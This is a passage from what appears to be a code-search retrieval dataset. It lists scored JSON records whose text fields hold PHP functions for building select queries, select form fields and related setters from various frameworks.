}, { "docid": "805aaf67b49a8aba4a7bba2fe2b0484d", "score": "0.5930035", "text": "private function _initSelectList()\n {\n $features = $this->Feature->getAllFeaturesKeyValue();\n $this->set('features', $features);\n $categories = $this->Category->getAllCategoryPair();\n $this->set('categories', $categories);\n }", "title": "" }, { "docid": "4c2cc024a40fcd0e40c842d322bb401a", "score": "0.5876139", "text": "public function valueSelect(SelectInterface $select): static\n {\n $this->select = $select;\n\n return $this;\n }", "title": "" }, { "docid": "a2024201caae7028d821903a4b0fd696", "score": "0.5841371", "text": "private function _initSelect()\n {\n\t\tif(\\Cart2Quote\\License\\Model\\License::getInstance()->isValid()) {\n\t\t\tparent::_initSelect();\n $this->joinStates();\n return $this;\n\t\t}\n\t}", "title": "" }, { "docid": "095428c0bf5de0f4373cbbf06e4604b2", "score": "0.5826639", "text": "private function setPageSelect()\n {\n $GLOBALS['TSFE']->sys_page = Tx_Smarty_Service_Compatibility::makeInstance('t3lib_pageSelect');\n $GLOBALS['TSFE']->sys_page->versioningPreview = false;\n $GLOBALS['TSFE']->sys_page->versioningWorkspaceId = false;\n $GLOBALS['TSFE']->where_hid_del = ' AND pages.deleted=0';\n $GLOBALS['TSFE']->sys_page->init(false);\n $GLOBALS['TSFE']->sys_page->where_hid_del .= ' AND pages.doktype<200';\n $GLOBALS['TSFE']->sys_page->where_groupAccess\n = $GLOBALS['TSFE']->sys_page->getMultipleGroupsWhereClause('pages.fe_group', 'pages');\n }", "title": "" }, { "docid": "be5e20f59cdf746124ce85e97f1323cf", "score": "0.58149225", "text": "protected function set_models_for_selects() {\n $this->consoles_for_select = Console::all_for_select_with('name', true);\n $this->games_for_select = Game::all_for_select_with('name', true);\n $this->accessories_for_select = Accessory::all_for_select_with('name', true);\n\n $all_cities = Ad::all_cities();\n $this->cities_for_select = ['' => ''] + array_combine($all_cities, $all_cities);\n }", "title": "" }, { "docid": "9f4394961564914359489d4ce6510abc", "score": "0.580291", "text": "public function setField($select=null,$model=null){\n if($this->model==null){\n $this->model=$model;\n }\n\n if(is_array($select) && $model!==null){\n if(array_key_exists(0,$select) && count($select[0])){\n $this->setField=$select[0];\n }\n\n }\n else{\n if(count($select)){\n $this->setField=$select;\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "24b9c472a5d0b9fcaf0c24421306f785", "score": "0.5802321", "text": "public function __construct(?array $select = null) {\n $this->select = $select;\n }", "title": "" }, { "docid": "24b9c472a5d0b9fcaf0c24421306f785", "score": "0.5802321", "text": "public function __construct(?array $select = null) {\n $this->select = $select;\n }", "title": "" }, { "docid": "4727926fa7652d2ab88317db4372babd", "score": "0.58010757", "text": "public function resetSelect()\n\t{\n\t\t$this->setSelect($this->getResource()->getSelect());\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "33858e24ff47796dc58932a8ad4596f2", "score": "0.57904637", "text": "public function select($select = '*')\n {\n $this->_type = db::SELECT;\n\n if (is_string($select))\n {\n $select = explode(',', $select);\n }\n elseif (is_object($select))\n {\n $this->_select[] = $select;\n }\n\n foreach ($select as $val)\n {\n if ($val !== '')\n {\n $this->_select[] = $val;\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "222147123dbd273ace697c7e77474eb9", "score": "0.5768486", "text": "public function testSetSelected()\n\t{\n\t\t// Remove the following lines when you implement this test.\n\t\t$this->markTestIncomplete(\n\t\t\t'This test has not been implemented yet.'\n\t\t);\n\t}", "title": "" }, { "docid": "49dcbc671127fa317373245f536c2042", "score": "0.57343304", "text": "public function select($select = null)\n {\n $this->_type = self::SELECT;\n\n if (empty($select)) {\n return $this;\n }\n\n $selects = is_array($select) ? $select : func_get_args();\n\n return $this->add('select', $selects, false);\n }", "title": "" }, { "docid": "e2f061154e3e4f2913538d0aabf3326c", "score": "0.5698791", "text": "public function select($select=null,$model=null){\n if($this->model==null){\n $this->model=$model;\n }\n\n if(is_array($select) && $model!==null){\n if(array_key_exists(0,$select) && count($select[0])){\n $this->select=$select[0];\n }\n\n }\n else{\n if(count($select)){\n $this->select=$select;\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "930e26f4e01f0d972a7a528107749265", "score": "0.56952757", "text": "public function select()\n {\n }", "title": "" }, { "docid": "4935a0354680da3ed45b2eb0885025b6", "score": "0.5673241", "text": "public function select()\n {\n }", "title": "" }, { "docid": "f331c20236118f362accadcc1f8292aa", "score": "0.5660521", "text": "public function select() { }", "title": "" }, { "docid": "6ec358a54191183ac76f127a05eb4279", "score": "0.56512845", "text": "public function Select($name,$inputType,$class=\"\",$id=\"\"){\n\t\t$this->name=$name;\n\t\t$this->type=\"SELECT\";\n\t\t$this->inputType=$inputType;\n\t\t\n\t}", "title": "" }, { "docid": "a1984950085114728d5bcdc068742a7e", "score": "0.5649979", "text": "public function select($select = '*', $escape = NULL)\n {\n // var to cache select field request\n $select_query = array();\n\n if($select !== '*') {\n\n // convert select string to array\n $select = explode(',', $select);\n\n foreach( $select as $field) {\n\n // replace all white space at right and left string\n $field = trim($field);\n\n // filter all different type mongoDB not support\n if(strpos($field, ' ')) {\n $this->display_error(\n \"Select parameter <b>\\\"$field\\\"</b> don't supported by MongoDB driver\",\n '',\n TRUE\n );\n }\n\n // push select field to cache\n $select_query[$field] = 1;\n }\n\n }\n\n // don't get _id default field of MongoDB\n if(!isset($select_query['_id'])) {\n $select_query['_id'] = 0;\n }\n\n // set select query to global parameter\n $this->qb_select = $select_query;\n\n return $this;\n }", "title": "" }, { "docid": "c2ce3a1ff1477fe4d2fb0980a5e71a96", "score": "0.5634581", "text": "public function __set($name, $value)\n {\n $this->m_ddl->$name = $value;\n }", "title": "" }, { "docid": "58a74efa2fea5a23cec47f82ea6e102f", "score": "0.5576438", "text": "public function select()\n {\n\n }", "title": "" }, { "docid": "aafc3761941b20fa924f1745a2fe3bb7", "score": "0.55710566", "text": "function setSelected($selected)\n {\n $this->m_selected = $selected;\n }", "title": "" }, { "docid": "54ab6ac35ab8c6893a83152be3ef690f", "score": "0.555135", "text": "protected function _reset_select()\n\t{\n\t\t$this->_reset_run(array(\n\t\t\t'qb_select'\t\t=> array(),\n\t\t\t'qb_from'\t\t=> array(),\n\t\t\t'qb_join'\t\t=> array(),\n\t\t\t'qb_where'\t\t=> array(),\n\t\t\t'qb_groupby'\t\t=> array(),\n\t\t\t'qb_having'\t\t=> array(),\n\t\t\t'qb_orderby'\t\t=> array(),\n\t\t\t'qb_aliased_tables'\t=> array(),\n\t\t\t'qb_no_escape'\t\t=> array(),\n\t\t\t'qb_distinct'\t\t=> FALSE,\n\t\t\t'qb_limit'\t\t=> FALSE,\n\t\t\t'qb_offset'\t\t=> FALSE\n\t\t));\n\t}", "title": "" }, { "docid": "677f5767cfd2a8026540809e0d035b11", "score": "0.55308115", "text": "public function setSelector($selector) {\n self::$selector = $selector;\n }", "title": "" }, { "docid": "b0284be4691b16ea781be005a8f4412a", "score": "0.55096865", "text": "public function select($select){\n $this->selectStatement = trim($select);\n return $this;\n }", "title": "" }, { "docid": "3e66cf3d331ee386bedd26303a16aa8a", "score": "0.5507533", "text": "protected function setSelectFields() : ApiGetService\n {\n if(count($this->fields) === 0){\n return $this;\n }\n\n $this->builder\n ->select($this->fields);\n\n return $this;\n }", "title": "" }, { "docid": "31e59c1f104ebdd36847660739a6ae5b", "score": "0.5481562", "text": "protected function setSelectStruc(Select $select, Where $where)\n {\n foreach ($this->joins as $join) {\n $select->addJoin($join);\n }\n\n $select->setWhere($where);\n\n foreach ($this->groupBy as $col) {\n $select->addGroupBy($col);\n }\n\n $select->setHaving($this->having);\n }", "title": "" }, { "docid": "444cfa9878303ac80aad2def108f07c8", "score": "0.54611534", "text": "protected function set_consoles_for_select() {\n $this->consoles_for_select = $this->all_consoles_for_select();\n }", "title": "" }, { "docid": "fdbd565b619ce2ddf49fe634d3d9f453", "score": "0.5459937", "text": "public function addSelect($select)\n {\n $this->_select($select, true);\n\n return $this;\n }", "title": "" }, { "docid": "f2eebf097a6cccefcc9eedc60fbefdee", "score": "0.544621", "text": "function setDataSelector(& $dataSelector)\n {\n $this->_dataSelector =& $dataSelector;\n }", "title": "" }, { "docid": "b5465f51fb0bbca4cc89f46de308ed6f", "score": "0.5423061", "text": "function html_form_select ($name, $options, $comment='', $required=false, $multiple=false, $class='', $selected=NULL, $onchange='', $readonly=false) {\n\t\t$this->name = $name;\n\t\t$this->options = $options;\n\t\tif ($selected == NULL) {\n\t\t\t$this->value = $multiple ? array() : '';\n\t\t} else {\n\t\t\t$this->value = $selected;\n\t\t}\n\t\t$this->comment = $comment;\n\t\t$this->class = $class;\n\t\t$this->multiple = $multiple;\n\t\t$this->required = $required;\n\t\t$this->onchange = $onchange;\n\t\t$this->readonly = $readonly;\n\t}", "title": "" }, { "docid": "bdc4562fa85cd241be734acdf50485e1", "score": "0.5415639", "text": "function iver_select_set_header_object() {\n \t$header_type = iver_select_get_meta_field_intersect('header_type', iver_select_get_page_id());\n\t $header_types_option = iver_select_get_header_type_options();\n\t \n $object = Lib\\HeaderFactory::getInstance()->build($header_type, $header_types_option);\n\n if(Lib\\HeaderFactory::getInstance()->validHeaderObject()) {\n $header_connector = new Lib\\IverSelectHeaderConnector($object);\n $header_connector->connect($object->getConnectConfig());\n }\n }", "title": "" }, { "docid": "ec5285d15bb88cdfa30348f15a720517", "score": "0.54067886", "text": "function montar_select_sexo(&$select_sexos, $objSexoPaciente, $objSexoPacienteRN, &$objPaciente) {\n $selected = '';\n $arr_sexos = $objSexoPacienteRN->listar($objSexoPaciente);\n\n $select_sexos = '<select onfocus=\"this.selectedIndex=0;\" onchange=\"val_sexo()\" '\n . 'class=\"form-control selectpicker\" id=\"select-country idSexo\" data-live-search=\"true\" '\n . 'name=\"sel_sexo\">'\n . '<option data-tokens=\"\"></option>';\n\n foreach ($arr_sexos as $sexo) {\n $selected = '';\n if ($sexo->getIdSexo() == $objPaciente->getIdSexo_fk()) {\n $selected = 'selected';\n }\n $select_sexos .= '<option ' . $selected . ' value=\"' . $sexo->getIdSexo() . '\" data-tokens=\"' . $sexo->getSexo() . '\">' . $sexo->getSexo() . '</option>';\n }\n $select_sexos .= '</select>';\n}", "title": "" }, { "docid": "d23912660c3626cf9658fa312f32873a", "score": "0.54045314", "text": "function mSELECT(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$SELECT;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:116:3: ( 'select' ) \n // Tokenizer11.g:117:3: 'select' \n {\n $this->matchString(\"select\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "title": "" }, { "docid": "c55eab98ec70a0761514daf198e8c06b", "score": "0.5396086", "text": "protected function processSelect(\\Zend_Db_Select $select)\n { }", "title": "" }, { "docid": "7904bf34702251af8ffe3c1ad2a1dab8", "score": "0.5386278", "text": "public function select($f, $v = array(), $o = array()) { $o['as'] = 'select'; $o['collection'] = $v; return $this->input($f, $o); }", "title": "" }, { "docid": "abc25183f172fd16ef2030d907be889f", "score": "0.53808826", "text": "public function setSelectFields(array $selectFields = null)\n {\n $this->query->setSelectFields($selectFields);\n }", "title": "" }, { "docid": "16675628f552a7353d314377210b3502", "score": "0.535885", "text": "function setValue($v) {\n //if (is_array($v)) $this->value = $v;\n if (!isset($_REQUEST[$$n])) $this->value = $this->createArray($this->qry,$this->path);\n $this->selected = $v;\n }", "title": "" }, { "docid": "5c55c899f0f3d3189d26d2ee46816b9e", "score": "0.53562266", "text": "public function configurarCamposSelect(){\n\t\tforeach($this->campos as $c){\n\t\t\tif($c->tipo == 'select' && $c->opciones){\n\t\t\t\t$c->opciones = explode(',',$c->opciones);\n\t\t\t}\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "6599cfafed37f9a127b9649a2cb8566e", "score": "0.5347531", "text": "public function getSelect();", "title": "" }, { "docid": "936965a321de1e35b14edf7e2dc50bab", "score": "0.5339957", "text": "public function select(): Select\n {\n $select = new Select();\n $select->setDbAdapter($this);\n return $select;\n }", "title": "" }, { "docid": "e41f7e3643a42b838abfdef03f0ae849", "score": "0.529323", "text": "protected static function runSelect()\n {\n }", "title": "" }, { "docid": "efed3f321aff1eaafcc6d327f3a5167d", "score": "0.5283429", "text": "function object_select($name, $obj_type, $options = NULL) {\n global $select_max_options;\n\n $search = class_filters($obj_type, true) ?: [];\n \n $filters = $options['search'] ?: $options['filters'];\n if(is_array($filters)) { // use search or filters; either way an array is expected\n $search = array_merge($search, $filters);\n }\n //dump($search);\n \n $options['search'] = $search;\n \n $count = 0;\n if(!$options['noajax']) {\n $max_options = pick_first($options['max_options'], $select_max_options, 200); // maximum number of options to show in a drop down menu (otherwise show AJAX chooser)\n $count = count_objects($obj_type, $search);\n check_db_result($count); \n if($count > $max_options) return object_ajax_chooser($name, $obj_type, $options);\n }\n \n // not ajax chooser, use form_select\n $sort = $options['sort'] ?: get_object_sort($obj_type);\n $data = $options['data'];\n if($data && !is_array($data)) $data = array($data);\n $options['rows'] = get_object_descriptor_list($obj_type, $search, $sort, $data);\n $options['first'] = $options['first'] ?: \"-- \".phrase('select', LOWERCASE).\" --\";\n\n return form_select($name, $options); \n}", "title": "" }, { "docid": "2bf7ad117ee46bb27d08f5e5203ad2f7", "score": "0.52815884", "text": "function montar_select_perfilPaciente(&$select_perfis, $objPerfilPaciente, $objPerfilPacienteRN, &$objPaciente) {\n $selected = '';\n $arr_perfis = $objPerfilPacienteRN->listar($objPerfilPaciente);\n\n $select_perfis = '<select class=\"form-control selectpicker\" onchange=\"val()\" id=\"select-country idSel_perfil\"'\n . ' data-live-search=\"true\" name=\"sel_perfil\">'\n . '<option data-tokens=\"\" ></option>';\n\n foreach ($arr_perfis as $perfil) {\n $selected = '';\n if ($perfil->getIdPerfilPaciente() == $objPaciente->getIdPerfilPaciente_fk()) {\n $selected = 'selected';\n }\n\n $select_perfis .= '<option ' . $selected . ' value=\"' . $perfil->getIdPerfilPaciente() . '\" data-tokens=\"' . $perfil->getPerfil() . '\">' . $perfil->getPerfil() . '</option>';\n }\n $select_perfis .= '</select>';\n}", "title": "" }, { "docid": "241c7f90a644e427645b6f3106c82e6f", "score": "0.52706623", "text": "function select_option()\r\n{}", "title": "" }, { "docid": "ae481890cc728c16ac1514c284c0ce7a", "score": "0.52693063", "text": "public function setObject($object)\n {\n }", "title": "" }, { "docid": "ec27ae374f818a0737ca7768c0c451c5", "score": "0.5258389", "text": "public function select() {\n\t\t$args = func_get_args();\n\t\t\n\t\t// we're dealing with some \n\t\tif(1 == count($args) && is_array($args[0]))\n\t\t\t$args = $args[0];\n\t\t\n\t\tif(empty($args))\n\t\t\treturn $this;\n\t\t\n\t\t$this->_compiled = FALSE;\n\t\t\n\t\t// TODO: in_array very oddly didn't work\n\t\tif(ALL === $args[0])\n\t\t\t$args = array((string)ALL => ALL);\n\t\t\n\t\t// merge in the new select fields\n\t\t$this->_context['select_fields'] = array_merge(\n\t\t\t$this->_context['select_fields'],\n\t\t\t$args\n\t\t);\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "94f2cac79534137c3ea496fe3b99a623", "score": "0.5239878", "text": "public function setDbSelectBuilder(?callable $builder): void\n {\n $this->dbSelectBuilder = $builder;\n }", "title": "" }, { "docid": "f932ef873eba418d87111a8156da2ae4", "score": "0.52373075", "text": "abstract protected function _manageFetchOptions($select, $options);", "title": "" }, { "docid": "efecade8675df8d259a544d19c41a62c", "score": "0.5236683", "text": "public function select($value) {\n if (is_string($value)) {\n $value = new \\Kendo\\JavaScriptFunction($value);\n }\n\n return $this->setProperty('select', $value);\n }", "title": "" }, { "docid": "f45507484f49671e8b8a99a6cebb4fb0", "score": "0.52331966", "text": "public function __construct($name)\n {\n parent::__construct('select', $name);\n $this->name = $name;\n }", "title": "" }, { "docid": "e6282e72489425773463cd9f6c16a1d5", "score": "0.52314186", "text": "public function newSelect ($table = null)\n {\n if (null === $table && $this->getTable()) {\n $table = $this->getTable();\n }\n\n // $this->select = new Select(($table) ? : $this->table);\n $this->select = new Select();\n $this->select->from(($table) ? $table : $this->table);\n\n return $this->select;\n }", "title": "" }, { "docid": "4dee1585ff9b761692c604d54f89e104", "score": "0.52270925", "text": "public function ApiSelect(){\r\n\t\t\t$this->SetDefaults();\r\n\t\t\t$this->WorkWithApiFilter();\r\n\t\t\t$this->WorkWithApiSorting();\r\n\t\t\t$this->Load($this->LoadRows(false)); //set others before\r\n\t\t}", "title": "" }, { "docid": "b04c0a4d1bff283951cc20aa7df262e6", "score": "0.5213022", "text": "function select($select = '*', $escape = NULL)\r\n\t{\r\n\t\t// Check if this is a related object\r\n\t\tif ( ! empty($this->parent))\r\n\t\t{\r\n\t\t\t$this->db->select($this->table . '.' . $select, $escape);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->db->select($select, $escape);\r\n\t\t}\r\n\r\n\t\t// For method chaining\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "154d551ace93e61362aeec3f536bc47b", "score": "0.52092516", "text": "public function setObject($object){\r\n\t\t$this->object = $object;\r\n\t}", "title": "" }, { "docid": "1b0ca6706fd32a9d28cba9f8aaf0e670", "score": "0.5192286", "text": "function set_select_type($type) {\n\t\t\t$allowed = array (MYSQLI_NUM, MYSQLI_BOTH, MYSQLI_ASSOC);\n\t\t\tif (in_array($type, $allowed)) {\n\t\t\t\t$this->SELECT_TYPE = $type;\n\t\t\t}\n\t\t\treturn $this->SELECT_TYPE;\n\t\t}", "title": "" }, { "docid": "cc281751ca6bf136d988cc1c14d49059", "score": "0.51758814", "text": "public function select($value)\n {\n if (is_string($value)) {\n $value = new JavaScriptFunction($value);\n }\n\n return $this->setProperty('select', $value);\n }", "title": "" }, { "docid": "5627a6188bc4ad8aaba3d68b11661f66", "score": "0.51591206", "text": "protected function _initSelect()\n {\n parent::_initSelect();\n $this->getSelect()\n ->joinInner(array('b' => $this->getTable('icube_customerbalance/balance')),\n 'main_table.balance_id = b.balance_id', array('customer_id' => 'b.customer_id',\n 'website_id' => 'b.website_id',\n 'base_currency_code' => 'b.base_currency_code'))\n ;\n return $this;\n }", "title": "" }, { "docid": "f7fb3a935b948c3eb3d8c9cc85daea2c", "score": "0.51559925", "text": "public function select($element) {\n $element = $this->_setRender($element);\n\n $element['_render']['element'] = '';\n $element['_render']['element'] .= '<select id=\"' . $element['#id'] . '\" ';\n $element['_render']['element'] .= $element['_attributes_string'];\n $element['_render']['element'] .= sprintf(' data-wpt-type=\"%s\"', __FUNCTION__);\n /**\n * multiple\n */\n if (array_key_exists('#multiple', $element) && $element['#multiple']) {\n $element['_render']['element'] .= ' multiple=\"multiple\"';\n $element['_render']['element'] .= ' name=\"' . $element['#name'] . '[]\"';\n } else {\n $element['_render']['element'] .= ' name=\"' . $element['#name'] . '\"';\n }\n $element['_render']['element'] .= \">\\r\\n\";\n $count = 1;\n foreach ($element['#options'] as $id => $value) {\n if (!is_array($value)) {\n $value = array('#title' => $id, '#value' => $value, '#type' => 'option');\n }\n $value['#type'] = 'option';\n if (!isset($value['#value'])) {\n $value['#value'] = $this->_count['select'] . '-' . $count;\n $count += 1;\n }\n $element['_render']['element'] .= '<option value=\"' . htmlspecialchars($value['#value']) . '\"';\n $element['_render']['element'] .= $this->_setElementAttributes($value);\n if (array_key_exists('#types-value', $value)) {\n $element['_render']['element'] .= sprintf(' data-types-value=\"%s\"', $value['#types-value']);\n }\n /**\n * type and data_id\n */\n $element['_render']['element'] .= ' data-wpt-type=\"option\"';\n $element['_render']['element'] .= $this->_getDataWptId($element);\n /**\n * selected\n */\n if (array_key_exists('#multiple', $element) && $element['#multiple']) {\n if (is_array($element['#default_value']) && in_array($value['#value'], $element['#default_value'])) {\n $element['_render']['element'] .= ' selected=\"selected\"';\n }\n } elseif ($element['#default_value'] == $value['#value']) {\n $element['_render']['element'] .= ' selected=\"selected\"';\n }\n $element['_render']['element'] .= '>';\n $element['_render']['element'] .= isset($value['#title']) ? $value['#title'] : $value['#value'];\n $element['_render']['element'] .= \"</option>\\r\\n\";\n }\n $element['_render']['element'] .= '</select>';\n $element['_render']['element'] .= PHP_EOL;\n\n $pattern = $this->_getStatndardPatern($element);\n $output = $this->_pattern($pattern, $element);\n $output = $this->_wrapElement($element, $output);\n\n return $output;\n }", "title": "" }, { "docid": "9c7949de832a6482d5b4b9903204b07c", "score": "0.514708", "text": "protected function _setBrowseQuery(Zend_Db_Select $query)\n {\n $this->_browseQuery = $query;\n \n return $this; \n }", "title": "" }, { "docid": "a0e3efa32bde0ddbecfcf14567fe7719", "score": "0.5146433", "text": "public function addSelect($select = null)\n {\n $this->_type = self::SELECT;\n\n if (empty($select)) {\n return $this;\n }\n\n $selects = is_array($select) ? $select : func_get_args();\n\n return $this->add('select', $selects, true);\n }", "title": "" }, { "docid": "995df5ec3ce9ad5017c146a0fe4d18f7", "score": "0.51377606", "text": "private function init_consolidationAndSelect_setTsSelect()\n {\n // LOOP : each filter (table.field)\n foreach ( ( array ) $this->arr_tsFilterTableFields as $tableField )\n {\n // IF : $conf_sql['select'] doesn't contain the current tableField\n if ( strpos( $this->pObj->conf_sql[ 'select' ], $tableField ) === false )\n {\n // Add tableField to ts property SELECT\n $csvStatement = ', ' . $tableField . ' AS \\'' . $tableField . '\\'';\n $this->pObj->conf_sql[ 'select' ] = $this->pObj->conf_sql[ 'select' ] . ', ' . $csvStatement;\n // Add tableField to ts property SELECT\n // DRS\n if ( $this->pObj->b_drs_filter )\n {\n $prompt = $tableField . ' is added to $this->pObj->conf_sql[select].';\n t3lib_div :: devlog( '[INFO/FILTER] ' . $prompt, $this->pObj->extKey, 0 );\n }\n // DRS\n }\n // IF : $conf_sql['select'] doesn't contain the current tableField\n // IF : $csvSelectWoFunc doesn't contain the current tableField\n if ( strpos( $this->pObj->csvSelectWoFunc, $tableField ) === false )\n {\n $this->pObj->csvSelectWoFunc = $this->pObj->csvSelectWoFunc . ', ' . $tableField;\n // DRS\n if ( $this->pObj->b_drs_filter )\n {\n $prompt = $tableField . ' is added to $this->pObj->csvSelectWoFunc.';\n t3lib_div :: devlog( '[INFO/FILTER] ' . $prompt, $this->pObj->extKey, 0 );\n }\n // DRS\n }\n // IF : $csvSelectWoFunc doesn't contain the current tableField\n }\n // LOOP : each filter (table.field)\n }", "title": "" }, { "docid": "02885c7ef8735da94a2bb1b148c8e4dc", "score": "0.5134298", "text": "public function setObject(phpGenObject $object){\r\n\t\t$this->object = $object;\r\n\t\t$this->name = $this->object->getName().'_collection';\r\n\t\t$this->baseName = $this->object->getName();\r\n\t\t$this->primary = $this->object->getPrimaryKeyName();\r\n\t\t$this->primaryGetter = phpClassGenerator::formatPropertyName('get_'.$this->primary);\r\n\t\t$this->primarySetter = phpClassGenerator::formatPropertyName('set_'.$this->primary);\r\n\t\t$this->tableName = $this->object->getTableName();\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "63fdcd80d58c3eb356f524f21aff5b85", "score": "0.51217914", "text": "public function select();", "title": "" }, { "docid": "e58601f0e8ba65cbd35d17019698875e", "score": "0.51192343", "text": "public function setOptions()\n\t{\n\t\tupdate_option($this->optionVar, serialize($this->options));\n\t}", "title": "" }, { "docid": "e0e10b8cc70ceb708a1c18566fc9afa8", "score": "0.51163715", "text": "protected function _applyStoresFilterToSelect(\\Magento\\Framework\\DB\\Select $select) {\r\n return $this;\r\n }", "title": "" }, { "docid": "e0e10b8cc70ceb708a1c18566fc9afa8", "score": "0.51163715", "text": "protected function _applyStoresFilterToSelect(\\Magento\\Framework\\DB\\Select $select) {\r\n return $this;\r\n }", "title": "" }, { "docid": "1946944447dcbcac6e3446fe0cdb140c", "score": "0.51162946", "text": "public function addSelect($select)\n {\n $select = is_array($select) ? $select : func_get_args();\n\n $this->select = array_merge((array) $this->select, $select);\n\n return $this;\n }", "title": "" }, { "docid": "f2190eee78fb39bd2d43be32269ebc23", "score": "0.51159406", "text": "function setObject($object);", "title": "" }, { "docid": "1c9db01d3db98eadcdb193d1499565c3", "score": "0.5100513", "text": "function fill_select($name, $value, $object = null, $default = null)\n{\n if (old($name) === (string) $value) {\n return 'selected';\n }\n\n if (\n ($object instanceof \\Illuminate\\Contracts\\Support\\Arrayable || is_array($object))\n && isset($object[$name])\n ) {\n return (string) $object[$name] === (string) $value ? 'selected' : '';\n }\n\n if (\n is_string($object) || is_numeric($object)\n ) {\n return (string) $object === (string) $value ? 'selected' : '';\n }\n\n return $value === $default ? 'selected' : '';\n}", "title": "" }, { "docid": "bd65c52fa65f4fd38851d8e6f4ac48ee", "score": "0.50998133", "text": "public function setSelection(?FilterValue $selection): void\n {\n $this->selection = $selection;\n }", "title": "" }, { "docid": "9c85c1f775cde08ca5d3d00f42a82d62", "score": "0.5083197", "text": "public function setData(array $data): SelectField\n {\n $this->data = $data;\n return $this;\n }", "title": "" }, { "docid": "9285dd3e04f8d15b424aa0808236350f", "score": "0.50804347", "text": "function setOptions ($options)\n\t{\n\t\t$this->options = $options;\n\t}", "title": "" }, { "docid": "972eadfc80e60bda9bc2692a4237b418", "score": "0.506627", "text": "public function getSelect()\n {\n return $this->select;\n }", "title": "" }, { "docid": "723027af8e5f67981b21681df5f59742", "score": "0.5047669", "text": "protected function setObject()\n {\n $this->view->setObject($this->parser, $this->template);\n }", "title": "" }, { "docid": "588769c2f072007bae0cce709f3570bd", "score": "0.50469637", "text": "public function setObject($object) {\n\t\t$this->dup();\n\t\t$param = $this->top();\n\t\t$param->setParameters($object);\n\t}", "title": "" }, { "docid": "11905dc93a1ca2c0ae75477c5c5670d2", "score": "0.5045865", "text": "public function setOptions($options){\n\n\t}", "title": "" }, { "docid": "d6bd678164d07cc4e65e67edf6064fd6", "score": "0.5041085", "text": "public function decorate()\n {\n $this->_column->setOption('stype', 'select');\n $this->_column->setOption('search', TRUE);\n $strData['value'] = \"\";\n\n /*\n if (Zend_Registry::isRegistered('Zend_Translate')) {\n $objTranslate = Zend_Registry::get('Zend_Translate');\n }\n */\n\n $arrValues = array(\"\" => 'Select') + $this->getValues();\n\n foreach ($arrValues as $strKey => $strValue) {\n if (! empty($strData['value'])) {\n $strData['value'] .= \";\";\n }\n /*\n if (! empty($objTranslate)) {\n $strValue = $objTranslate->translate($strValue);\n }\n */\n $strData['value'] .= $strKey . \":\" . $strValue;\n }\n\n if (! empty($this->_options['sopt'])) {\n $strData['sopt'] = $this->_options['sopt'];\n }\n if (! empty($this->_options['defaultValue'])) {\n $strData['defaultValue'] = $this->_options['defaultValue'];\n }\n if (! empty($this->_options['dataUrl'])) {\n $strData['dataUrl'] = $this->_options['dataUrl'];\n if (! empty($this->_options['buildSelect'])) {\n $strData['buildSelect'] = $this->_options['buildSelect'];\n }\n }\n if (! empty($this->_options['dataInit'])) {\n $strData['dataInit'] = new Zend_Json_Expr(\"function(el){\" . $this->_options['dataInit'] . \" }\");\n }\n if (! empty($this->_options['dataEvents'])) {\n $strData['dataEvents'] = $this->_options['dataEvents'];\n }\n if (! empty($this->_options['attr'])) {\n $strData['attr'] = $this->_options['attr'];\n }\n if (! empty($this->_options['searchhidden'])) {\n $strData['searchhidden'] = $this->_options['searchhidden'];\n }\n $this->_column->setOption('searchoptions', $strData);\n }", "title": "" }, { "docid": "7057fe76c8395fdc2d5bb03733fd5029", "score": "0.5031253", "text": "private function setObject($object) {\n $this->object = $object;\n }", "title": "" }, { "docid": "1ee183adade5206d75f8c959fe191cb6", "score": "0.5023449", "text": "public function setSelectedItem($name,$value) {\n $this->addHiddenField('on0',$name);\n $this->addHiddenField('os0',$value);\n }", "title": "" }, { "docid": "d9fd73370e92ac35129960b4c62192b1", "score": "0.5017834", "text": "public function set_value($value) {\n\n // Is the select multiple?\n $multiple = $this->field->hasAttribute('multiple');\n $singleselect = ($this->field->hasClass('singleselect') || $this->field->hasClass('urlselect'));\n\n // Here we select the option(s).\n if ($multiple) {\n // Split and decode values. Comma separated list of values allowed. With valuable commas escaped with backslash.\n $options = preg_replace('/\\\\\\,/', ',', preg_split('/(?<!\\\\\\),/', trim($value)));\n // This is a multiple select, let's pass the multiple flag after first option.\n $afterfirstoption = false;\n foreach ($options as $option) {\n $this->field->selectOption(trim($option), $afterfirstoption);\n $afterfirstoption = true;\n }\n } else {\n // By default, assume the passed value is a non-multiple option.\n $this->field->selectOption(trim($value));\n }\n\n // Wait for all the possible AJAX requests that have been\n // already triggered by selectOption() to be finished.\n if ($this->running_javascript()) {\n // Trigger change event and click on first skip link, as some OS/browsers (Phantomjs, Mac-FF),\n // don't close select option field and trigger event.\n if (!$singleselect) {\n $dialoguexpath = \"//div[contains(concat(' ', normalize-space(@class), ' '), ' moodle-dialogue-focused ')]\";\n if (!$node = $this->session->getDriver()->find($dialoguexpath)) {\n $script = \"Syn.trigger('change', {}, {{ELEMENT}})\";\n try {\n $driver = $this->session->getDriver();\n if ($driver instanceof \\Moodle\\BehatExtension\\Driver\\MoodleSelenium2Driver) {\n $driver->triggerSynScript($this->field->getXpath(), $script);\n }\n $driver->click('//body//div[@class=\"skiplinks\"]');\n } catch 